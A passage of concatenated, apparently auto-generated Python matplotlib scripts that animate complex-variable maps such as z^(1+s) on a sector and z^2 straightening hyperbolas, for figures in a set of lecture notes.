plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'angles double:\nthe sector $|\\mathrm{Arg}\\,z|<\\pi/4$ opens to the right half-plane'
TITLE = '$w=z^{1+s},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'polar', (0.2, 1.2, 6, -0.7853981633974483, 0.7853981633974483, 7)
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ on the sector $|\mathrm{Arg}\,z|<\pi/4$ -- animation C (tiles).
Generated by gen_anims.py from specs.py; notes: figure in Section 9.1, p. 45-46 (ch09:80)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = None
SUB = 'angles double: the sector $|\\mathrm{Arg}\\,z|<\\pi/4$ opens to the right half-plane'
TITLE = '$w=z^{1+s},\\quad s=%.2f$'
TILEKIND, TILEARGS = 'polar', (0.2, 1.2, 4, -0.7853981633974483, 0.7853981633974483, 4)
HILITE = [6, 13]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))
E = 10
ee = np.linspace(0, 1, E, endpoint=False)
TL = []
if TILEKIND == "cart":
    x0, x1, y0, y1, n, m = TILEARGS
    hx, hy = (x1 - x0) / n, (y1 - y0) / m
    for j in range(m):
        for i in range(n):
            a, b = x0 + i * hx, y0 + j * hy
            TL.append(np.concatenate([a + hx * ee + 1j * b, a + hx + 1j * (b + hy * ee),
                                      a + hx * (1 - ee) + 1j * (b + hy), a + 1j * (b + hy * (1 - ee))]))
else:
    r0, r1, n, t0, t1, m = TILEARGS
    hr, ht = (r1 - r0) / n, (t1 - t0) / m
    for j in range(m):
        for i in range(n):
            a, b = r0 + i * hr, t0 + j * ht
            TL.append(np.concatenate([(a + hr * ee) * np.exp(1j * b), (a + hr) * np.exp(1j * (b + ht * ee)),
                                      (a + hr * (1 - ee)) * np.exp(1j * (b + ht)), a * np.exp(1j * (b + ht * (1 - ee)))]))
PALE = ["#dfe8f5", "#f6e3d3"]
COL = [PALE[(i + j) % 2] for j in range(m) for i in range(n)]
for k, c in zip(HILITE, ["#e76f51", "#2a9d8f"]):
    COL[k] = c


def shown(p):                                   # tiles that pass near infinity are hidden
    return np.all(np.isfinite(p)) and np.max(np.abs(p)) < R


allp = np.concatenate([Hs(t, s) for t in TL for s in np.linspace(0, 1, 11)])
allp = allp[np.isfinite(allp) & (np.abs(allp) < R)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = allp.real.min(), allp.real.max(), allp.imag.min(), allp.imag.max()
    mg = 0.05 * max(X1 - X0, Y1 - Y0)
    X0, X1, Y0, Y1 = X0 - mg, X1 + mg, Y0 - mg, Y1 + mg
Z = np.concatenate(TL)
zx0, zx1, zy0, zy1 = Z.real.min(), Z.real.max(), Z.imag.min(), Z.imag.max()
mz = 0.05 * max(zx1 - zx0, zy1 - zy0)

fig = plt.figure(figsize=(10, 5.4))
axz = fig.add_axes([0.05, 0.08, 0.34, 0.72])
axw = fig.add_axes([0.45, 0.08, 0.52, 0.72])
axz.set_xlim(zx0 - mz, zx1 + mz); axz.set_ylim(zy0 - mz, zy1 + mz)
axw.set_xlim(X0, X1); axw.set_ylim(Y0, Y1)
for a in (axz, axw):
    a.set_aspect("equal", adjustable="box"); a.tick_params(labelsize=9)
    a.axhline(0, color="0.82", lw=0.8); a.axvline(0, color="0.82", lw=0.8)
axz.add_collection(PolyCollection([np.c_[t.real, t.imag] for t in TL], facecolors=COL,
                                  edgecolors="white", linewidths=0.8))
axz.set_title(r"$z$-plane", fontsize=13)
tw = PolyCollection([], edgecolors="white", linewidths=0.8)
axw.add_collection(tw)
title = axw.set_title("", fontsize=13)
fig.text(0.5, 0.925, SUB, ha="center", va="center", fontsize=11 if "\n" in SUB else 11.5, color="0.3", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    P = [Hs(t, s) for t in TL]
    keep = [i for i, p in enumerate(P) if shown(p)]
    tw.set_verts([np.c_[P[i].real, P[i].imag] for i in keep])
    tw.set_facecolors([COL[i] for i in keep])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ straightens the hyperbolas -- animation A (straight-line slide).
Generated by gen_anims.py from specs.py; notes: Proposition 9.3 and plate, p. 46 (ch09:108, 135); Example 15.13 and plate, p. 80 (ch15-harmonic.tex:240, 265)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: (1 - s) * z + s * (z**2)
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-1.5, 4.5, -3, 3)
SUB = 'every point moves in a straight line from $z$ to $z^2$'
TITLE = '$w=(1-s)\\,z+s\\,z^{2},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'curves', (('np.sqrt(0.3)*(np.cosh(2.0*u-1.0)+1j*np.sinh(2.0*u-1.0))', 'tab:blue'), ('np.sqrt(0.9)*(np.cosh(2.0*u-1.0)+1j*np.sinh(2.0*u-1.0))', 'tab:blue'), ('np.sqrt(1.6)*(np.cosh(2.0*u-1.0)+1j*np.sinh(2.0*u-1.0))', 'tab:blue'), ('np.sqrt(0.3)*(np.sinh(1.0*u)+1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(0.3)*(np.sinh(1.0*u)-1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(0.9)*(np.sinh(1.0*u)+1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(0.9)*(np.sinh(1.0*u)-1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(1.6)*(np.sinh(1.0*u)+1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(1.6)*(np.sinh(1.0*u)-1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(0.15)*(np.exp(1.6*u-0.8)+1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.15)*(np.exp(1.6*u-0.8)-1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.45)*(np.exp(1.6*u-0.8)+1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.45)*(np.exp(1.6*u-0.8)-1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.8)*(np.exp(1.6*u-0.8)+1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.8)*(np.exp(1.6*u-0.8)-1j*np.exp(0.8-1.6*u))', 'tab:red'))
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
    for (g, _), c in zip(EXTRA, extras):
        p = image(g(u), s)
        c.set_data(p.real, p.imag)
    if TRACK is not None:
        p = Hs(np.array([TRACK]), s)[0]
        dot.set_data([p.real], [p.imag])
    title.set_text(TITLE % s)

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster is the finished map (s = 1)
    plt.rcParams["pdf.fonttype"] = 42
    frame(10 + 50 + 5)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "") + "_poster.pdf")



"""$z^2$ straightens the hyperbolas -- animation B (path of maps).
Generated by gen_anims.py from specs.py; notes: Proposition 9.3 and plate, p. 46 (ch09:108, 135); Example 15.13 and plate, p. 80 (ch15-harmonic.tex:240, 265)
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""

import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
pi, e, I = np.pi, np.e, 1j


def arg(z, base=-np.pi):
    """argument in (base, base + 2 pi]"""
    return base + np.mod(np.angle(z) - base - 1e-12, 2 * np.pi) + 1e-12


def pw(z, a, base=-np.pi):
    """z**a with the argument taken in (base, base + 2 pi]"""
    r = np.abs(z)
    with np.errstate(divide="ignore", invalid="ignore"):
        return np.where(r > 0, np.exp(a * (np.log(np.where(r > 0, r, 1)) + 1j * arg(z, base))), 0)


def lg(z, base=-np.pi):
    """the logarithm with the argument in (base, base + 2 pi]"""
    return np.log(np.abs(z)) + 1j * arg(z, base)


def mob(M, z):
    (a, b), (c, d) = M
    with np.errstate(divide="ignore", invalid="ignore"):
        return (a * z + b) / (c * z + d)


def mpow(M, s):
    """M**s for an invertible 2x2 matrix: exp(s log M), a path of Mobius maps from I to M"""
    M = np.array(M, dtype=complex)
    M = M / np.sqrt(np.linalg.det(M))
    lam, V = np.linalg.eig(M)
    if abs(lam[0] - lam[1]) > 1e-9:
        return V @ np.diag(np.exp(s * np.log(lam))) @ np.linalg.inv(V)
    l = lam[0]                                  # parabolic: M = l (I + N), N nilpotent
    N = M / l - np.eye(2)
    return np.exp(s * np.log(l)) * (np.eye(2) + s * N)


def cut(p, R):
    """break a curve (insert gaps) where it leaves the disc of radius R or jumps across it"""
    p = np.array(p, dtype=complex)
    bad = ~np.isfinite(p) | (np.abs(p) > R)
    jump = np.r_[False, np.abs(np.diff(p)) > R / 3]
    p[bad | jump] = np.nan
    return p


def seg(s, a, b):
    """the progress (0 to 1) of a stage that runs while s goes from a to b"""
    return min(max((s - a) / (b - a), 0.0), 1.0)


def flip(z, t, d=4.0):
    """turn the plane over about the real axis, like a page, seen in perspective (t=1: z -> conj z)"""
    y = z.imag
    return (z.real + 1j * y * np.cos(np.pi * t)) * d / (d + y * np.sin(np.pi * t))


def inv(z, t):
    """r -> r**(1-2t) along each ray: t=1 is the inversion z/|z|^2 in the unit circle"""
    return np.abs(z) ** (1 - 2 * t) * np.exp(1j * np.angle(z))


def flipy(z, t):
    return z.real + 1j * np.cos(np.pi * t) * z.imag


def poly(pts, u):
    """the broken line through pts, parametrised by u in [0,1]"""
    pts = np.asarray(pts, dtype=complex)
    k = np.linspace(0, 1, len(pts))
    return np.interp(u, k, pts.real) + 1j * np.interp(u, k, pts.imag)


ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * v)
SCHED = [0.0] * 10 + list(ease(np.linspace(0, 1, 50))) + [1.0] * 16 + list(ease(np.linspace(1, 0, 50)))

H = lambda z, s: pw(z, 1+s)
R = 50.0                      # curves are cut beyond this radius
LIMITS = (-1.5, 4.5, -3, 3)
SUB = 'hyperbolas $x^2-y^2=c$ (blue) become lines $u=c$;\nhyperbolas $2xy=c$ (red) become lines $v=c$'
TITLE = '$w=z^{1+s},\\quad s=%.2f$'
GRIDKIND, GRIDARGS = 'curves', (('np.sqrt(0.3)*(np.cosh(2.0*u-1.0)+1j*np.sinh(2.0*u-1.0))', 'tab:blue'), ('np.sqrt(0.9)*(np.cosh(2.0*u-1.0)+1j*np.sinh(2.0*u-1.0))', 'tab:blue'), ('np.sqrt(1.6)*(np.cosh(2.0*u-1.0)+1j*np.sinh(2.0*u-1.0))', 'tab:blue'), ('np.sqrt(0.3)*(np.sinh(1.0*u)+1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(0.3)*(np.sinh(1.0*u)-1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(0.9)*(np.sinh(1.0*u)+1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(0.9)*(np.sinh(1.0*u)-1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(1.6)*(np.sinh(1.0*u)+1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(1.6)*(np.sinh(1.0*u)-1j*np.cosh(1.0*u))', 'tab:blue'), ('np.sqrt(0.15)*(np.exp(1.6*u-0.8)+1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.15)*(np.exp(1.6*u-0.8)-1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.45)*(np.exp(1.6*u-0.8)+1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.45)*(np.exp(1.6*u-0.8)-1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.8)*(np.exp(1.6*u-0.8)+1j*np.exp(0.8-1.6*u))', 'tab:red'), ('np.sqrt(0.8)*(np.exp(1.6*u-0.8)-1j*np.exp(0.8-1.6*u))', 'tab:red'))
AVOID = []
EXTRAS = []
TRACK = None

u = np.linspace(0, 1, 301)
LINES = []                                   # (points z(u), colour)
if GRIDKIND == "cart":
    x0, x1, y0, y1, nx, ny = GRIDARGS
    for c in np.linspace(x0, x1, nx):
        LINES.append((c + 1j * (y0 + (y1 - y0) * u), "tab:blue"))
    for c in np.linspace(y0, y1, ny):
        LINES.append(((x0 + (x1 - x0) * u) + 1j * c, "tab:red"))
elif GRIDKIND == "polar":                    # circles blue, rays red
    r0, r1, nr, t0, t1, nt = GRIDARGS
    for r in np.linspace(r0, r1, nr):
        LINES.append((r * np.exp(1j * (t0 + (t1 - t0) * u)), "tab:blue"))
    for t in np.linspace(t0, t1, nt, endpoint=(t1 - t0 < 2 * np.pi - 0.01)):
        LINES.append(((r0 + (r1 - r0) * u) * np.exp(1j * t), "tab:red"))
else:                                        # "curves": a list of (expression in u, colour)
    LINES = [(eval("lambda u: " + ex)(u), col) for ex, col in GRIDARGS]
LINES = [(z, c) for z, c in LINES if not any(np.min(np.abs(z - q)) < 1e-9 for q in AVOID)]
EXTRA = [(eval("lambda u: " + ex), col) for ex, col in EXTRAS]

S_EPS = 1e-6
Hs = lambda z, s: H(z, max(s, S_EPS))


def image(z, s):
    return cut(Hs(z, s), R)


pts = np.concatenate([image(z, s) for z, _ in LINES for s in np.linspace(0, 1, 13)]
                     + [image(g(u), s) for g, _ in EXTRA for s in np.linspace(0, 1, 13)])
pts = pts[np.isfinite(pts)]
if LIMITS:
    X0, X1, Y0, Y1 = LIMITS
else:
    X0, X1, Y0, Y1 = pts.real.min(), pts.real.max(), pts.imag.min(), pts.imag.max()
    h = 0.55 * max(X1 - X0, Y1 - Y0)            # a square box around everything
    cx, cy = (X0 + X1) / 2, (Y0 + Y1) / 2
    X0, X1, Y0, Y1 = cx - h, cx + h, cy - h, cy + h

fig = plt.figure(figsize=(6, 6.6))
ax = fig.add_axes([0.08, 0.05, 0.88, 0.80])
ax.set_xlim(X0, X1); ax.set_ylim(Y0, Y1); ax.set_aspect("equal", adjustable="box")
ax.axhline(0, color="0.82", lw=0.8); ax.axvline(0, color="0.82", lw=0.8)
ax.tick_params(labelsize=9)
for z, _ in LINES:
    q = cut(z, R)
    ax.plot(q.real, q.imag, color="0.88", lw=0.8)
curves = [ax.plot([], [], color=c, lw=1.2)[0] for _, c in LINES]
extras = [ax.plot([], [], color=c, lw=2, ls="-" if c in ("k", "black") else "--")[0] for _, c in EXTRA]
dot, = ax.plot([], [], "o", color="k", ms=6)
two = "\n" in SUB
title = fig.text(0.5, 0.955 if two else 0.945, "", ha="center", fontsize=14)
fig.text(0.5, 0.905 if two else 0.905, SUB, ha="center", va="center" if two else "baseline",
         fontsize=10 if two else 10.5, color="0.35", linespacing=1.5)


def frame(k):
    s = SCHED[k % len(SCHED)]
    for (z, _), c in zip(LINES, curves):
        p = image(z, s)
        c.set_data(p.real, p.imag)
